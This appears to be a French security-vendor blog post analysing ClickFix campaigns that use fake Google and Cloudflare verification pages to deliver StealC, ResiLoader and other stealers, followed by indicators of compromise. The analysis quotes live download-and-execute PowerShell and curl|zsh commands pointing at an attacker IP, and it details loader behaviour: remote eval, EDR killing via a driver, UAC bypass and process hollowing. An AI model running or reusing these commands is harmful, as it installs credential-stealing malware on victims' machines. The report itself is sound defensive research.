Mise à jour du 6 juillet : ajout des connexions avec SyncTDS et TrafficTDS
Les attaques ClickFix, qui incitent les utilisateurs à exécuter eux-mêmes des commandes malveillantes , continuent d'évoluer. Cette dernière campagne utilise de fausses pages de vérification Google et Cloudflare pour convaincre les victimes d'infecter leurs propres appareils.
Une simple erreur peut installer un logiciel malveillant qui vole les mots de passe et autres données sensibles, donne aux attaquants un accès à distance à votre ordinateur ou télécharge des logiciels malveillants supplémentaires capables de prendre le contrôle total de votre système.
Nous avons découvert plusieurs campagnes utilisant la même infrastructure pour diffuser des logiciels malveillants, notamment HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport et un voleur basé sur Rust.
Dans une chaîne d'infection, une version trojanisée de l'application de messagerie légitime Franz télécharge un chargeur non documenté auparavant, baptisé ResiLoader, qui désactive les logiciels de sécurité avant de déployer le voleur d'informations StealC.
Avant d'aborder les détails techniques, voici comment éviter de devenir la prochaine victime.
Comment rester en sécurité
Les attaques ClickFix consistent à vous convaincre d'exécuter vous-même des commandes. La méthode la plus sûre est simple :
- Ne copiez et n'exécutez jamais de commandes provenant d'un site web, sauf si vous suivez les instructions d'une source fiable et que vous comprenez exactement ce que fait la commande.
- Méfiez-vous des pages de vérification. Google, Cloudflare, Microsoft et autres services légitimes ne vous demanderont jamais de coller des commandes PowerShell dans Windows pour prouver que vous êtes humain ou pour résoudre un problème.
- Ne vous laissez pas influencer par l'urgence. Les fausses pages de vérification utilisent souvent des comptes à rebours, des compteurs de visiteurs ou des avertissements pour vous inciter à agir rapidement.
- Maintenez votre logiciel de sécurité à jour. La protection en temps réel et la protection web peuvent bloquer les sites web malveillants avant même que vous n'y accédiez.
- Soyez vigilant face à toute instruction technique inattendue. Si un site web vous demande d'ouvrir PowerShell, l'invite de commandes ou le terminal, arrêtez-vous et vérifiez les instructions auprès des canaux d'assistance officiels de l'entreprise.
Conseil de pro : Malwarebytes Browser Guard peut vous avertir lorsqu’un site Web tente de copier du contenu dans votre presse-papiers, une astuce courante utilisée par les pages ClickFix.
Analyse technique
Les campagnes analysées dans cette étude sont actives depuis au moins fin 2025 et utilisent diverses fausses pages Google et Cloudflare pour diffuser des logiciels malveillants. Bien que les appâts diffèrent, elles partagent une grande partie de l'infrastructure et de la chaîne d'infection, les attaquants testant en permanence de nouvelles méthodes de diffusion et de nouvelles charges utiles.
Des leurres différents, un seul objectif
La plupart des campagnes partagent plusieurs caractéristiques :
- Utilisation du dossier
C:\ProgramData\Zoomsextraire les étapes ultérieures - Commandes PowerShell ClickFix qui suivent des modèles similaires
- Utilisation des compartiments Cloudflare R2 pour la livraison des charges utiles
- Adresses IP hébergées par ASN Dedik Services Limited
- Réponses HTML contenant uniquement la phrase
"hehe"
Ces indicateurs ont évolué au fil du temps et ne sont donc pas présents dans toutes les chaînes d'infection. Les campagnes continuent d'évoluer, avec l'introduction régulière de nouvelles charges utiles et de nouvelles méthodes de diffusion. Par exemple, dans certains cas, l'adresse IP est utilisée directement pour la distribution de la charge utile, sans passer par des compartiments dédiés.
La commande finale copiée par l'utilisateur suit généralement ce modèle :
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
Le port et le chemin ne sont pas toujours présents dans les cas analysés ; les ports sont aléatoires, mais voici quelques exemples utilisés : 6600, 9900, 5506, 7895, 7493, 149, 8442.
Pour exécuter ces commandes, plusieurs modèles liés à ClickFix sont utilisés, principalement pour Google et Cloudflare . Nous avons également constaté que, dans certains cas, la commande PowerShell était distribuée via le framework IClickFix.
Nous avons constaté que ces campagnes ClickFix étaient diffusées via :
- Anciens sites web qui ont probablement expiré et ont été rachetés par le(s) propriétaire(s) du/des acteur(s).
- Pages CloudFlare (
.pages.devdomaines). - Sites web compromis.
- Services contrefaits, par exemple liés aux codes QR ou à l'accès aux fichiers web.
Google ClickFix attire
Les acteurs à l'origine de ces campagnes utilisent diverses pages et kits HTML liés à Google.
L'un des leurres imite la vérification Google reCAPTCHA. Les pages sont hébergées sur des URL aléatoires et affichent du contenu faux ou malveillant. Ces domaines sont souvent d'anciens enregistrements qui ont récemment commencé à pointer vers de nouvelles adresses IP, ce qui laisse penser qu'ils ont été réutilisés pour cette campagne.
Certaines de ces pages possèdent des paramètres d'URL tels que « zoneid », « cost », « device », « country », « clickid », par exemple :
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


Dans ce cas, les fonctions liées à ClickFix sont implémentées dans la classe CustomCaptchaLa commande est présente en clair, sans aucune obfuscation.

Une autre méthode de distribution utilise Cloudflare Pages hébergé sur .pages.dev sous-domaines.

Dans ce cas, la page HTML est obfusquée en déclarant plusieurs variables et en les combinant par un XOR. Le code désobfusqué est appelé SECURITY GATEWAY et elle est composée des fonctions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, et PanelController.
Le code permet aux attaquants de récupérer la commande à distance ou localement. Dans cet exemple, la commande PowerShell malveillante est stockée localement.

Nous avons également constaté que certains de ces domaines avaient déjà diffusé un autre leurre, cette fois-ci lié à une tentative de connexion Google non autorisée. Ce leurre ClickFix incite l'utilisateur à copier-coller une commande malveillante afin de définir son appareil comme appareil principal.

Ce qui est intéressant avec ce kit ClickFix, c'est qu'il comporte un « système d'approbation », comme décrit dans les commentaires, et que l'attaquant doit choisir manuellement, dans le panneau, la commande que l'utilisateur doit exécuter.


Dans des campagnes plus récentes, nous avons détecté un leurre ClickFix lié à Google Meet, qui nécessite de copier-coller une commande malveillante pour résoudre les problèmes audio.

Dans les cas analysés, le point final /api/driver-clipboard.php a renvoyé la commande malveillante suivante :
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
Autres leurres
Les auteurs de cette campagne utilisent divers kits et leurres, principalement liés à Google. Cependant, nous avons détecté d'autres leurres reprenant des commandes relatives à la même infrastructure.
Les auteurs de ces attaques compromettent également de nombreux sites web en utilisant différents modèles liés à l'appât CloudFlare ClickFix .


Nous avons détecté plusieurs modèles utilisés pour les pages Cloudflare. La commande est présente en clair ou, dans certains cas, obscurcie dans les cas analysés.



Nous avons également détecté des sites web proposant de faux services. Par exemple, un site nommé « My QR Generator » affiche un code QR obscurci et demande à l’utilisateur d’exécuter une commande PowerShell pour prouver qu’il n’est pas un robot.

Dans ce cas, la commande est encodée en base 64 :

Téléchargeur PowerShell
La commande ClickFix exécutée par l'utilisateur décode un script et le place dans le dossier Temp sous le nom tmp{4 char}.tmp.ps1.
Nous avons détecté plusieurs variantes de ce script, mais les versions récentes font ce qui suit :
- Créez le dossier
C:\ProgramData\Zooms. - Téléchargez l'étape suivante depuis un bucket Cloudflare et enregistrez-la dans
C:\ProgramData\ZoomsDans certaines variantes du script, l'étape suivante est téléchargée directement depuis une adresse IP. - Envoyez les informations de la machine compromise à
http://{IP}/dl-callbackDans certaines variantes du script, cette partie est absente.

Les auteurs de ces campagnes utilisent un grand nombre de charges utiles différentes. Ces campagnes déploient une grande variété de charges utiles. Le tableau ci-dessous récapitule certains noms de fichiers téléchargés et les logiciels malveillants qu'ils installent. Dans de nombreux cas analysés, la charge utile finale a été distribuée via le détournement de DLL, comme nous le verrons plus loin pour le voleur de données StealC.
| Fichier distribué | Logiciel malveillant distribué |
libEGL.zip, Safe-1.zip | Application Electron trojanisée, ResiLoader et StealC |
Test.msi | Deno Loader et voleur PowerShell |
arworks.zip | Voleur d'Amatera |
water-night.zip | Remus le Voleur |
Setup.msi, Invintrum_first.msi | NetSupport |
traffic1.msi | CastleLoader |
ibrowser.exe | Voleur de rouille |
Nous avons analysé un nouveau chargeur appelé ResiLoader qui distribue StealC. Nous avons également constaté que l'acteur malveillant des dernières campagnes utilise désormais Deno pour distribuer un voleur de données développé en PowerShell ; l'analyse de cette chaîne d'infection pourrait faire l'objet d'un prochain article de blog.
Téléchargements d'applications Electron infectées par un cheval de Troie ResiLoader
Dans ce cas, le fichier ZIP a été téléchargé depuis :
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
Après extraction à :
C:\ProgramData\Zooms\libEGL.zip_ext
Le fichier zip contient une version infectée par un cheval de Troie de l'application de messagerie open-source appelée « Franz » :

Le code malveillant est implémenté dans le index.js déposer:

Le programme de téléchargement effectue les opérations suivantes :
- Décodez les chaînes de caractères avec la fonction
HC(). - Lectures
readme.txt, s'attend à une clé de campagne de la formeAAAA-BBBB, le renvoie sous forme de tableau de jetons. Dans ce cas, le nom estresiloader-1et c'est pourquoi nous appelons « ResiLoader » la DLL téléchargée. - Lectures
%APPDATA%\setup.txt; en cas d'absence, génère une chaîne aléatoire de 8 caractères et la conserve. - Obtenir de la persistance en utilisant
app.setLoginItemSettings. - Envoie une requête POST à
https[:]//completstep[.]com/api/et détailler la réponse JSON- Si
task.eest présent, il exécuteeval(task.e); il permet à l'attaquant d'exécuter du code JavaScript arbitraire. - Si
task.filesest présent, créer%TEMP%\<Date.now()>\, décoder et écrire chaque fichier ; si un nom de fichier se termine par.exe, exécutez-le viachild_process.exec.
- Si
Dans notre cas, nous avons reçu un fichier ZIP qui effectue le détournement de DLL de ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
Ensuite, le fichier exécutable a été lancé avec :
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
Le msys-crypto-3.dll est obscurci .NET NativeAOT loader qui met en œuvre une technique de contournement AV/EDR utilisant le BYOD, obtient une persistance et charge finalement le voleur de données StealC. Nous n'avons trouvé aucune attribution spécifique pour ce chargeur et l'avons donc nommé « ResiLoader » d'après la chaîne de caractères présente dans les documents précédents. readme.txt.
Le chargeur contient plusieurs chaînes de caractères, certaines en clair et d'autres chiffrées. Après déchiffrement, il est possible d'avoir une vision complète du fonctionnement de ResiLoader.
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
La chargeuse effectue les opérations suivantes :
- Extraire le blob encodé contenant deux charges utiles lisant le marqueur
AtLorenBaseet la longueur du blob encodé. Ensuite, il décode le blob et déchiffre le pilote.pcdhost.sys(OPSWAT
Pilote AppRemover) et charge utile StealC utilisant un algorithme de décryptage personnalisé. - Terminez plus de 140 processus liés aux processus EDR/AV utilisant le pilote abandonné.
- Effectuer un contournement UAC via
ICMLuaUtilInterface COM élevée. - Créer un dossier
C:\ProgramData\Google Update, se copiant lui-même ; ajout de persistance à l'aide de la clé de registre RUN cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
Au final, le chargeur effectue le creusement du processus. ServiceModelReg.exe pour exécuter le voleur StealC.
Connexions avec SyncTDS et TrafficTDS
Nous avons trouvé plusieurs autres campagnes et kits ClickFix potentiellement liés au(x) même(s) opérateur(s), bien qu'il n'y ait pas suffisamment de preuves pour le confirmer.
Le domaine dasdasdikasjdas[.]click se résout à l'une des adresses IP liées à cette campagne 151[.]240[.]151[.]126Le domaine affichait auparavant un panneau nommé « SyncTDS ». Nous avons trouvé plus de 20 domaines qui affichent ce panneau. Son interface graphique a également évolué au fil du temps.
L'un de ces domaines « SyncTDS », maskingofking[.]xyz, se résout à 193.111.117[.]6 qui héberge plusieurs domaines liés à ClickFix et un répertoire ouvert contenant un kit intéressant appelé « TrafficTDS ». Ce kit permet à l'opérateur de prendre en charge différentes charges utiles liées à Windows Linux, MacOS et Android Dans ce cas précis, les pages affichées à l'utilisateur sont liées à ClickFix et utilisent une technique d'appâtage CloudFlare.



L'une des parties les plus intéressantes de ce kit est la section « gestionnaire APK », qui permet à l'opérateur d'afficher à l'utilisateur une page « Mise à jour requise » pour télécharger l'APK malveillant.



CIO
Hacher
72907d0ca3258365838626f6a8d993a6: DLL ResiLoader
0234E3188F2883A438B3F2BEAB7A78B2: VolerC
6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus
206ce339febca0c3bcc850f42595fc63: Voleur d'Amatera
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: Voleur de rouille
Domaines
Diffuser les pages ClickFix :
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
compartiments Cloudflare utilisés pour la distribution de la charge utile :
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: distribution de la charge utile
bigflaredefence[.]com: distribution de la charge utile
popularcard[.]shop: Voleur de rouille C2
xzz[.]proxygrid[.]cc: Voleur d'Amatera C2
completstep[.]com: Chargeur C2
eventlogerps1[.]ink: Chargeur Deno
be231ro963[.]com: Chargeur Deno
Adresses IP
Adresse IP utilisée pour la distribution de la charge utile :
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: VolerC C2
Remerciements
- Domaine associé signalé : https://x.com/stop_spammerz/status/2070152741037477960
- Domaine associé signalé : https://x.com/Yuki27183/status/2047354005605777850
- Infection signalée par un utilisateur sur Reddit : https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- Chaîne d'infection potentiellement liée : https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026
- Un répertoire ouvert similaire a été signalé : https://x.com/malwrhunterteam/status/2062241642627694690
- Campagne similaire signalée : https://x.com/stop_spammerz/status/2062269326292324592




